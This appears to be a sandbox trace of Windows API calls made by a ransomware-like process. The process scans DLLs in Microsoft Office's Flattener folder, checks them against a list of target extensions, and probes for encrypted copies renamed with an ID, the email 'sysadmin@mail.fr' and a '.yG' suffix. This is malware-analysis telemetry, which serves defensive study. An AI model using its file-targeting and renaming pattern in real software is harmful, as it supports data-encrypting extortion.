	[0156.113] lstrlenW (lpString=".ppt") returned 4
	[0156.113] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0156.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0156.113] lstrlenW (lpString=".zip") returned 4
	[0156.114] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0156.114] lstrlenW (lpString=".rar") returned 4
	[0156.114] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0156.114] lstrlenW (lpString=".bz2") returned 4
	[0156.114] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0156.114] lstrlenW (lpString=".7z") returned 3
	[0156.114] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0156.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0156.114] lstrlenW (lpString=".dbf") returned 4
	[0156.114] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0156.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0156.114] lstrlenW (lpString=".1cd") returned 4
	[0156.114] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0156.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0156.114] lstrlenW (lpString=".jpg") returned 4
	[0156.114] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0156.115] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0156.115] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33
	[0156.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0156.233] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=73408) returned 1
	[0156.233] CloseHandle (hObject=0x350) returned 1
	[0156.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x220
	[0156.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0156.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82
	[0157.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82
	[0157.241] lstrlenW (lpString=".doc") returned 4
	[0157.241] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.241] lstrlenW (lpString=".docx") returned 5
	[0157.241] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0157.241] lstrlenW (lpString=".pdf") returned 4
	[0157.241] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.241] lstrlenW (lpString=".xls") returned 4
	[0157.241] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.241] lstrlenW (lpString=".xlsx") returned 5
	[0157.241] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0157.241] lstrlenW (lpString=".ppt") returned 4
	[0157.241] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82
	[0157.241] lstrlenW (lpString=".zip") returned 4
	[0157.241] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.241] lstrlenW (lpString=".rar") returned 4
	[0157.241] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.241] lstrlenW (lpString=".bz2") returned 4
	[0157.242] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.242] lstrlenW (lpString=".7z") returned 3
	[0157.242] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82
	[0157.242] lstrlenW (lpString=".dbf") returned 4
	[0157.242] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82
	[0157.242] lstrlenW (lpString=".1cd") returned 4
	[0157.242] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82
	[0157.242] lstrlenW (lpString=".jpg") returned 4
	[0157.242] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82
	[0157.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82
	[0157.242] lstrlenW (lpString=".doc") returned 4
	[0157.242] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.242] lstrlenW (lpString=".docx") returned 5
	[0157.242] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0157.242] lstrlenW (lpString=".pdf") returned 4
	[0157.242] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.242] lstrlenW (lpString=".xls") returned 4
	[0157.242] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.242] lstrlenW (lpString=".xlsx") returned 5
	[0157.242] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0157.242] lstrlenW (lpString=".ppt") returned 4
	[0157.243] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82
	[0157.243] lstrlenW (lpString=".zip") returned 4
	[0157.243] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.243] lstrlenW (lpString=".rar") returned 4
	[0157.243] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.243] lstrlenW (lpString=".bz2") returned 4
	[0157.243] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.243] lstrlenW (lpString=".7z") returned 3
	[0157.243] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82
	[0157.243] lstrlenW (lpString=".dbf") returned 4
	[0157.243] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82
	[0157.243] lstrlenW (lpString=".1cd") returned 4
	[0157.243] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-private-l1-1-0.dll") returned 82
	[0157.244] lstrlenW (lpString=".jpg") returned 4
	[0157.244] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.244] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0157.244] lstrlenW (lpString="msvcp120.dll") returned 12
	[0157.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0157.246] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=455344) returned 1
	[0157.246] CloseHandle (hObject=0x550) returned 1
	[0157.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll")) returned 0x220
	[0157.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0157.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0157.247] lstrlenW (lpString=".doc") returned 4
	[0157.247] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.247] lstrlenW (lpString=".docx") returned 5
	[0157.247] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0157.247] lstrlenW (lpString=".pdf") returned 4
	[0157.247] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.248] lstrlenW (lpString=".xls") returned 4
	[0157.248] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.248] lstrlenW (lpString=".xlsx") returned 5
	[0157.248] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0157.248] lstrlenW (lpString=".ppt") returned 4
	[0157.248] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0157.248] lstrlenW (lpString=".zip") returned 4
	[0157.248] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.248] lstrlenW (lpString=".rar") returned 4
	[0157.248] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.248] lstrlenW (lpString=".bz2") returned 4
	[0157.248] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.248] lstrlenW (lpString=".7z") returned 3
	[0157.248] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0157.248] lstrlenW (lpString=".dbf") returned 4
	[0157.248] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0157.248] lstrlenW (lpString=".1cd") returned 4
	[0157.248] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0157.248] lstrlenW (lpString=".jpg") returned 4
	[0157.248] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0157.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0157.249] lstrlenW (lpString=".doc") returned 4
	[0157.249] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.249] lstrlenW (lpString=".docx") returned 5
	[0157.249] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0157.249] lstrlenW (lpString=".pdf") returned 4
	[0157.249] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.249] lstrlenW (lpString=".xls") returned 4
	[0157.249] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.249] lstrlenW (lpString=".xlsx") returned 5
	[0157.249] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0157.249] lstrlenW (lpString=".ppt") returned 4
	[0157.249] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0157.249] lstrlenW (lpString=".zip") returned 4
	[0157.249] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.249] lstrlenW (lpString=".rar") returned 4
	[0157.249] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.249] lstrlenW (lpString=".bz2") returned 4
	[0157.249] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.249] lstrlenW (lpString=".7z") returned 3
	[0157.250] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0157.250] lstrlenW (lpString=".dbf") returned 4
	[0157.250] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0157.250] lstrlenW (lpString=".1cd") returned 4
	[0157.250] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61
	[0157.250] lstrlenW (lpString=".jpg") returned 4
	[0157.250] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.250] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0157.250] lstrlenW (lpString="msvcp140.dll") returned 12
	[0157.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0157.254] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=439608) returned 1
	[0157.254] CloseHandle (hObject=0x540) returned 1
	[0157.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll")) returned 0x220
	[0157.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0157.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0157.255] lstrlenW (lpString=".doc") returned 4
	[0157.255] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.255] lstrlenW (lpString=".docx") returned 5
	[0157.255] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0157.255] lstrlenW (lpString=".pdf") returned 4
	[0157.255] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.255] lstrlenW (lpString=".xls") returned 4
	[0157.255] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.255] lstrlenW (lpString=".xlsx") returned 5
	[0157.255] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0157.255] lstrlenW (lpString=".ppt") returned 4
	[0157.255] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0157.255] lstrlenW (lpString=".zip") returned 4
	[0157.255] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.256] lstrlenW (lpString=".rar") returned 4
	[0157.256] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.256] lstrlenW (lpString=".bz2") returned 4
	[0157.256] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.256] lstrlenW (lpString=".7z") returned 3
	[0157.256] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0157.256] lstrlenW (lpString=".dbf") returned 4
	[0157.256] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0157.256] lstrlenW (lpString=".1cd") returned 4
	[0157.256] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0157.256] lstrlenW (lpString=".jpg") returned 4
	[0157.256] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0157.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0157.256] lstrlenW (lpString=".doc") returned 4
	[0157.256] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.256] lstrlenW (lpString=".docx") returned 5
	[0157.256] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0157.256] lstrlenW (lpString=".pdf") returned 4
	[0157.257] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.257] lstrlenW (lpString=".xls") returned 4
	[0157.257] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.257] lstrlenW (lpString=".xlsx") returned 5
	[0157.257] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0157.257] lstrlenW (lpString=".ppt") returned 4
	[0157.257] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0157.257] lstrlenW (lpString=".zip") returned 4
	[0157.257] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.257] lstrlenW (lpString=".rar") returned 4
	[0157.257] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.257] lstrlenW (lpString=".bz2") returned 4
	[0157.257] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.257] lstrlenW (lpString=".7z") returned 3
	[0157.257] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0157.257] lstrlenW (lpString=".dbf") returned 4
	[0157.257] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0157.257] lstrlenW (lpString=".1cd") returned 4
	[0157.257] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61
	[0157.257] lstrlenW (lpString=".jpg") returned 4
	[0157.258] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.258] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0157.258] lstrlenW (lpString="msvcr120.dll") returned 12
	[0157.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0157.260] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=968880) returned 1
	[0157.260] CloseHandle (hObject=0x540) returned 1
	[0157.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll")) returned 0x220
	[0157.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0157.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0157.319] lstrlenW (lpString=".doc") returned 4
	[0157.319] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.319] lstrlenW (lpString=".docx") returned 5
	[0157.319] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0157.319] lstrlenW (lpString=".pdf") returned 4
	[0157.319] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.319] lstrlenW (lpString=".xls") returned 4
	[0157.319] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.319] lstrlenW (lpString=".xlsx") returned 5
	[0157.319] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0157.319] lstrlenW (lpString=".ppt") returned 4
	[0157.319] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0157.319] lstrlenW (lpString=".zip") returned 4
	[0157.319] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.320] lstrlenW (lpString=".rar") returned 4
	[0157.320] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.320] lstrlenW (lpString=".bz2") returned 4
	[0157.320] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.320] lstrlenW (lpString=".7z") returned 3
	[0157.320] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0157.320] lstrlenW (lpString=".dbf") returned 4
	[0157.320] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0157.320] lstrlenW (lpString=".1cd") returned 4
	[0157.320] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0157.320] lstrlenW (lpString=".jpg") returned 4
	[0157.320] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0157.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0157.320] lstrlenW (lpString=".doc") returned 4
	[0157.320] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.320] lstrlenW (lpString=".docx") returned 5
	[0157.320] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0157.320] lstrlenW (lpString=".pdf") returned 4
	[0157.320] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.321] lstrlenW (lpString=".xls") returned 4
	[0157.321] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.321] lstrlenW (lpString=".xlsx") returned 5
	[0157.321] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0157.321] lstrlenW (lpString=".ppt") returned 4
	[0157.321] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0157.321] lstrlenW (lpString=".zip") returned 4
	[0157.321] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.321] lstrlenW (lpString=".rar") returned 4
	[0157.321] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.321] lstrlenW (lpString=".bz2") returned 4
	[0157.321] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.321] lstrlenW (lpString=".7z") returned 3
	[0157.321] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0157.321] lstrlenW (lpString=".dbf") returned 4
	[0157.321] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0157.321] lstrlenW (lpString=".1cd") returned 4
	[0157.321] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61
	[0157.321] lstrlenW (lpString=".jpg") returned 4
	[0157.321] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.322] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0157.322] lstrlenW (lpString="ucrtbase.dll") returned 12
	[0157.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0157.323] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=900288) returned 1
	[0157.323] CloseHandle (hObject=0x540) returned 1
	[0157.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll")) returned 0x220
	[0157.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
